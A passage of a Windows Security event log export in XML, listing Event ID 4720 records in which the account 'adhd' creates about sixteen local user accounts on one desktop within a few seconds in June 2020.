Name='SamAccountName'>Joe</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joe - adhd - - - 4720 - 4561 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.1788070Z'/><EventRecordID>4561</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Patrick</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1086</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Patrick</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Patrick - adhd - - - 4720 - 4555 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.0354107Z'/><EventRecordID>4555</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kelly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1085</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kelly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kelly - adhd - - - 4720 - 4549 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.9488433Z'/><EventRecordID>4549</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nicole</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1084</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nicole</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nicole - adhd - - - 4720 - 4543 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.8591097Z'/><EventRecordID>4543</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Willie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1083</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Willie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Willie - adhd - - - 4720 - 4537 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.7795675Z'/><EventRecordID>4537</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Eugene</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1082</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Eugene</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Eugene - adhd - - - 4720 - 4531 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.6924791Z'/><EventRecordID>4531</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jeremy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1081</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jeremy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jeremy - adhd - - - 4720 - 4525 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.6229868Z'/><EventRecordID>4525</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Wayne</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1080</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Wayne</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Wayne - adhd - - - 4720 - 4519 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.5394312Z'/><EventRecordID>4519</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Laura</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1079</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Laura</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Laura - adhd - - - 4720 - 4513 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.4485911Z'/><EventRecordID>4513</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Eric</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1078</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Eric</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Eric - adhd - - - 4720 - 4507 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.3566128Z'/><EventRecordID>4507</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Russell</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1077</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Russell</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Russell - adhd - - - 4720 - 4501 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.2681686Z'/><EventRecordID>4501</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>John</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1076</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>John</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - John - adhd - - - 4720 - 4495 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.1928884Z'/><EventRecordID>4495</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jesse</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1075</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jesse</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jesse - adhd - - - 4720 - 4489 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.0753878Z'/><EventRecordID>4489</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1074</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alan - adhd - - - 4720 - 4483 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.9910471Z'/><EventRecordID>4483</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Walter</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1073</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Walter</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Walter - adhd - - - 4720 - 4477 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.9076010Z'/><EventRecordID>4477</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Marilyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1072</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Marilyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Marilyn - adhd - - - 4720 - 4471 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' 